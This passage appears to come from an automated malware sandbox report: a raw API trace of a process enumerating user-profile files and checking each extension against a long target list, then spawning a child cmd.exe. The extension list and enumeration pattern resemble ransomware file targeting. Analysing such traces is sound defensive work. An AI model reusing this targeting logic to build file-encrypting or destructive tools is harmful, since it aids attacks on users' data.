ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="ธX\x07")) returned 0xffffffff [0261.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.117] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0261.117] lstrlenW (lpString="NTUSER.DAT") returned 10 [0261.117] lstrlenW (lpString=".1cd") returned 4 [0261.117] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0261.117] lstrlenW (lpString=".3ds") returned 4 [0261.117] lstrcmpiW (lpString1=".3ds", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".3fr") returned 4 [0261.118] lstrcmpiW (lpString1=".3fr", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".3g2") returned 4 [0261.118] lstrcmpiW (lpString1=".3g2", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".3gp") returned 4 [0261.118] lstrcmpiW (lpString1=".3gp", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".7z") returned 3 [0261.118] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0261.118] lstrlenW (lpString=".accda") returned 6 [0261.118] lstrcmpiW (lpString1=".accda", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".accdb") returned 6 [0261.118] lstrcmpiW (lpString1=".accdb", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".accdc") returned 6 [0261.118] lstrcmpiW (lpString1=".accdc", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".accde") returned 6 [0261.118] lstrcmpiW (lpString1=".accde", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".accdt") returned 6 [0261.118] lstrcmpiW (lpString1=".accdt", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".accdw") returned 6 [0261.118] lstrcmpiW (lpString1=".accdw", lpString2="ER.DAT") returned -1 [0261.118] lstrlenW (lpString=".adb") returned 4 [0261.118] lstrcmpiW (lpString1=".adb", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".adp") returned 4 [0261.118] lstrcmpiW (lpString1=".adp", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".ai") returned 3 [0261.118] lstrcmpiW (lpString1=".ai", lpString2="DAT") returned -1 [0261.118] lstrlenW (lpString=".ai3") returned 4 [0261.118] lstrcmpiW (lpString1=".ai3", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".ai4") returned 4 [0261.118] lstrcmpiW (lpString1=".ai4", lpString2=".DAT") returned -1 [0261.118] lstrlenW (lpString=".ai5") returned 4 [0261.119] lstrcmpiW (lpString1=".ai5", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".ai6") returned 4 [0261.119] lstrcmpiW (lpString1=".ai6", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".ai7") returned 4 [0261.119] lstrcmpiW (lpString1=".ai7", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".ai8") returned 4 [0261.119] lstrcmpiW (lpString1=".ai8", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".anim") returned 5 [0261.119] lstrcmpiW (lpString1=".anim", lpString2="R.DAT") returned -1 [0261.119] lstrlenW (lpString=".arw") returned 4 [0261.119] lstrcmpiW (lpString1=".arw", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".as") returned 3 [0261.119] lstrcmpiW (lpString1=".as", lpString2="DAT") returned -1 [0261.119] lstrlenW (lpString=".asa") returned 4 [0261.119] lstrcmpiW (lpString1=".asa", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".asc") returned 4 [0261.119] lstrcmpiW (lpString1=".asc", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".ascx") returned 5 [0261.119] lstrcmpiW (lpString1=".ascx", lpString2="R.DAT") returned -1 [0261.119] lstrlenW (lpString=".asm") returned 4 [0261.119] lstrcmpiW (lpString1=".asm", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".asmx") returned 5 [0261.119] lstrcmpiW (lpString1=".asmx", lpString2="R.DAT") returned -1 [0261.119] lstrlenW (lpString=".asp") returned 4 [0261.119] lstrcmpiW (lpString1=".asp", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".aspx") returned 5 [0261.119] lstrcmpiW (lpString1=".aspx", lpString2="R.DAT") returned -1 [0261.119] lstrlenW (lpString=".asr") returned 4 [0261.119] lstrcmpiW (lpString1=".asr", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".asx") returned 4 [0261.119] lstrcmpiW (lpString1=".asx", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".avi") returned 4 [0261.119] lstrcmpiW (lpString1=".avi", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".avs") returned 4 [0261.119] lstrcmpiW (lpString1=".avs", lpString2=".DAT") returned -1 [0261.119] lstrlenW (lpString=".backup") returned 7 [0261.120] lstrcmpiW (lpString1=".backup", lpString2="SER.DAT") returned -1 [0261.120] lstrlenW (lpString=".bak") returned 4 [0261.120] lstrcmpiW (lpString1=".bak", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".bay") returned 4 [0261.120] lstrcmpiW (lpString1=".bay", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".bd") returned 3 [0261.120] lstrcmpiW (lpString1=".bd", lpString2="DAT") returned -1 [0261.120] lstrlenW (lpString=".bin") returned 4 [0261.120] lstrcmpiW (lpString1=".bin", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".bmp") returned 4 [0261.120] lstrcmpiW (lpString1=".bmp", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".bz2") returned 4 [0261.120] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".c") returned 2 [0261.120] lstrcmpiW (lpString1=".c", lpString2="AT") returned -1 [0261.120] lstrlenW (lpString=".cdr") returned 4 [0261.120] lstrcmpiW (lpString1=".cdr", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".cer") returned 4 [0261.120] lstrcmpiW (lpString1=".cer", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".cf") returned 3 [0261.120] lstrcmpiW (lpString1=".cf", lpString2="DAT") returned -1 [0261.120] lstrlenW (lpString=".cfc") returned 4 [0261.120] lstrcmpiW (lpString1=".cfc", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".cfm") returned 4 [0261.120] lstrcmpiW (lpString1=".cfm", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".cfml") returned 5 [0261.120] lstrcmpiW (lpString1=".cfml", lpString2="R.DAT") returned -1 [0261.120] lstrlenW (lpString=".cfu") returned 4 [0261.120] lstrcmpiW (lpString1=".cfu", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".chm") returned 4 [0261.120] lstrcmpiW (lpString1=".chm", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".cin") returned 4 [0261.120] lstrcmpiW (lpString1=".cin", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".class") returned 6 [0261.120] lstrcmpiW (lpString1=".class", lpString2="ER.DAT") returned -1 [0261.120] lstrlenW (lpString=".clx") returned 4 [0261.120] lstrcmpiW (lpString1=".clx", lpString2=".DAT") returned -1 [0261.120] lstrlenW (lpString=".config") returned 7 [0261.121] lstrcmpiW (lpString1=".config", lpString2="SER.DAT") returned -1 [0261.121] lstrlenW (lpString=".cpp") returned 4 [0261.121] lstrcmpiW (lpString1=".cpp", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".cr2") returned 4 [0261.121] lstrcmpiW (lpString1=".cr2", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".crt") returned 4 [0261.121] lstrcmpiW (lpString1=".crt", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".crw") returned 4 [0261.121] lstrcmpiW (lpString1=".crw", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".cs") returned 3 [0261.121] lstrcmpiW (lpString1=".cs", lpString2="DAT") returned -1 [0261.121] lstrlenW (lpString=".css") returned 4 [0261.121] lstrcmpiW (lpString1=".css", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".csv") returned 4 [0261.121] lstrcmpiW (lpString1=".csv", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".cub") returned 4 [0261.121] lstrcmpiW (lpString1=".cub", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".dae") returned 4 [0261.121] lstrcmpiW (lpString1=".dae", lpString2=".DAT") returned -1 [0261.121] lstrlenW (lpString=".dat") returned 4 [0261.121] lstrcmpiW (lpString1=".dat", lpString2=".DAT") returned 0 [0261.121] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0261.121] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14 [0261.121] lstrlenW (lpString=".1cd") returned 4 [0261.121] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0261.121] lstrlenW (lpString=".3ds") returned 4 [0261.121] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1 [0261.121] lstrlenW (lpString=".3fr") returned 4 [0261.121] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1 [0261.121] lstrlenW (lpString=".3g2") returned 4 [0261.121] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1 [0261.121] lstrlenW (lpString=".3gp") returned 4 [0261.121] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1 [0261.121] lstrlenW (lpString=".7z") returned 3 [0261.121] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0261.121] lstrlenW (lpString=".accda") returned 6 [0261.122] lstrcmpiW (lpString1=".accda", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".accdb") returned 6 [0261.122] lstrcmpiW (lpString1=".accdb", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".accdc") returned 6 [0261.122] lstrcmpiW (lpString1=".accdc", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".accde") returned 6 [0261.122] lstrcmpiW (lpString1=".accde", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".accdt") returned 6 [0261.122] lstrcmpiW (lpString1=".accdt", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".accdw") returned 6 [0261.122] lstrcmpiW (lpString1=".accdw", lpString2="AT.LOG") returned -1 [0261.122] lstrlenW (lpString=".adb") returned 4 [0261.122] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".adp") returned 4 [0261.122] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai") returned 3 [0261.122] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1 [0261.122] lstrlenW (lpString=".ai3") returned 4 [0261.122] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai4") returned 4 [0261.122] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai5") returned 4 [0261.122] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai6") returned 4 [0261.122] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai7") returned 4 [0261.122] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".ai8") returned 4 [0261.122] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".anim") returned 5 [0261.122] lstrcmpiW (lpString1=".anim", lpString2="T.LOG") returned -1 [0261.122] lstrlenW (lpString=".arw") returned 4 [0261.122] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1 [0261.122] lstrlenW (lpString=".as") returned 3 [0261.122] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1 [0261.122] lstrlenW (lpString=".asa") returned 4 [0261.122] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".asc") returned 4 [0261.123] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".ascx") returned 5 [0261.123] lstrcmpiW (lpString1=".ascx", lpString2="T.LOG") returned -1 [0261.123] lstrlenW (lpString=".asm") returned 4 [0261.123] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".asmx") returned 5 [0261.123] lstrcmpiW (lpString1=".asmx", lpString2="T.LOG") returned -1 [0261.123] lstrlenW (lpString=".asp") returned 4 [0261.123] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".aspx") returned 5 [0261.123] lstrcmpiW (lpString1=".aspx", lpString2="T.LOG") returned -1 [0261.123] lstrlenW (lpString=".asr") returned 4 [0261.123] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".asx") returned 4 [0261.123] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".avi") returned 4 [0261.123] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".avs") returned 4 [0261.123] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".backup") returned 7 [0261.123] lstrcmpiW (lpString1=".backup", lpString2="DAT.LOG") returned -1 [0261.123] lstrlenW (lpString=".bak") returned 4 [0261.123] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".bay") returned 4 [0261.123] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".bd") returned 3 [0261.123] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1 [0261.123] lstrlenW (lpString=".bin") returned 4 [0261.123] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".bmp") returned 4 [0261.123] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".bz2") returned 4 [0261.123] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0261.123] lstrlenW (lpString=".c") returned 2 [0261.123] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1 [0261.123] lstrlenW (lpString=".cdr") returned 4 [0261.124] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1 Thread: id = 82 os_tid = 0x660 Thread: id = 83 os_tid = 0x668 Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x74c95000" os_pid = "0x5a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x558" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e1e1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 65 os_tid = 0x5a8 [0239.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfe10 | out: lpSystemTimeAsFileTime=0x2bfe10*(dwLowDateTime=0xc3676540, dwHighDateTime=0x1d54a09)) [0239.313] GetCurrentProcessId () returned 0x5a4 [0239.313] GetCurrentThreadId () returned 0x5a8 [0239.313] GetTickCount () returned 0x113231b [0239.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfe18 | out: lpPerformanceCount=0x2bfe18*=7501503124) returned 1 [0239.314] GetModuleHandleW (lpModuleName=0x0) returned 0x4a930000 [0239.314] __set_app_type (_Type=0x1) [0239.315] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a957810) returned 0x0 [0239.315] __getmainargs (in: _Argc=0x4a97a608, _Argv=0x4a97a618, _Env=0x4a97a610, _DoWildCard=0, _StartInfo=0x4a95e0f4 | out: _Argc=0x4a97a608, _Argv=0x4a97a618, _Env=0x4a97a610) returned 0 [0239.316] GetCurrentThreadId () returned 0x5a8 [0239.316] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5a8) returned 0x3c [0239.316] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0239.316] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0239.316] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0239.316] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0239.316] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfda8 | out: phkResult=0x2bfda8*=0x0) returned 0x2 [0239.316] VirtualQuery (in: lpAddress=0x2bfd90, lpBuffer=0x2bfd10, dwLength=0x30 | out: lpBuffer=0x2bfd10*(BaseAddress=0x2bf000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0239.316] VirtualQuery (in: lpAddress=0x1c0000, lpBuffer=0x2bfd10, dwLength=0x30 | out: lpBuffer=0x2bfd10*(BaseAddress=0x1c0000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0239.316] VirtualQuery (in: lpAddress=0x1c1000, lpBuffer=0x2bfd10, dwLength=0x30 | out: lpBuffer=0x2bfd10*(BaseAddress=0x1c1000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0239.316] VirtualQuery (in: lpAddress=0x1c4000, lpBuffer=0x2bfd10, dwLength=0x30 | out: lpBuffer=0x2bfd10*(BaseAddress=0x1c4000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0239.316] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x2bfd10, dwLength=0x30 | out: lpBuffer=0x2bfd10*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0239.316] GetConsoleOutputCP () returned 0x1b5 [0239.316] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0239.317] SetConsoleCtrlHandler (HandlerRoutine=0x4a953184, Add=1) returned 1 [0239.318] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.318] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0239.318] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.318] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a95e194 | out: lpMode=0x4a95e194) returned 0 [0239.318] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.318] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a95e198 | out: lpMode=0x4a95e198) returned 0 [0239.318] GetEnvironmentStringsW () returned 0xb8aa0* [0239.318] GetProcessHeap () returned 0xa0000 [0239.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xab4) returned 0xb9560 [0239.318] FreeEnvironmentStringsW (penv=0xb8aa0) returned 1 [0239.319] GetProcessHeap () returned 0xa0000 [0239.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0xb8920 [0239.319] GetEnvironmentStringsW () returned 0xb8aa0* [0239.319] GetProcessHeap () returned 0xa0000 [0239.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xab4) returned 0xba020 [0239.319] FreeEnvironmentStringsW (penv=0xb8aa0) returned 1 [0239.319] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bec68 | out: phkResult=0x2bec68*=0x44) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x18, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x1, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x1, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x0, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x40, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x40, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x40, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.319] RegCloseKey (hKey=0x44) returned 0x0 [0239.319] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bec68 | out: phkResult=0x2bec68*=0x44) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x40, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x1, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x1, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x0, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x9, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.319] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x4, lpData=0x2bec80*=0x9, lpcbData=0x2bec64*=0x4) returned 0x0 [0239.320] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bec60, lpData=0x2bec80, lpcbData=0x2bec64*=0x1000 | out: lpType=0x2bec60*=0x0, lpData=0x2bec80*=0x9, lpcbData=0x2bec64*=0x1000) returned 0x2 [0239.320] RegCloseKey (hKey=0x44) returned 0x0 [0239.320] time (in: timer=0x0 | out: timer=0x0) returned 0x5d459d7b [0239.320] srand (_Seed=0x5d459d7b) [0239.320] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0239.320] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0239.320] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a96c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0239.321] GetProcessHeap () returned 0xa0000 [0239.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x218) returned 0xbaae0 [0239.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbaaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0239.321] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0239.321] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0239.321] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0239.321] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0239.321] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0239.321] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0239.321] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0239.321] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0239.321] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0239.321] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0239.321] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0239.321] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0239.321] GetProcessHeap () returned 0xa0000 [0239.321] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9560 | out: hHeap=0xa0000) returned 1 [0239.321] GetEnvironmentStringsW () returned 0xb8aa0* [0239.321] GetProcessHeap () returned 0xa0000 [0239.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xacc) returned 0xbad00 [0239.322] FreeEnvironmentStringsW (penv=0xb8aa0) returned 1 [0239.322] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a95f360, nSize=0x2000 | out: 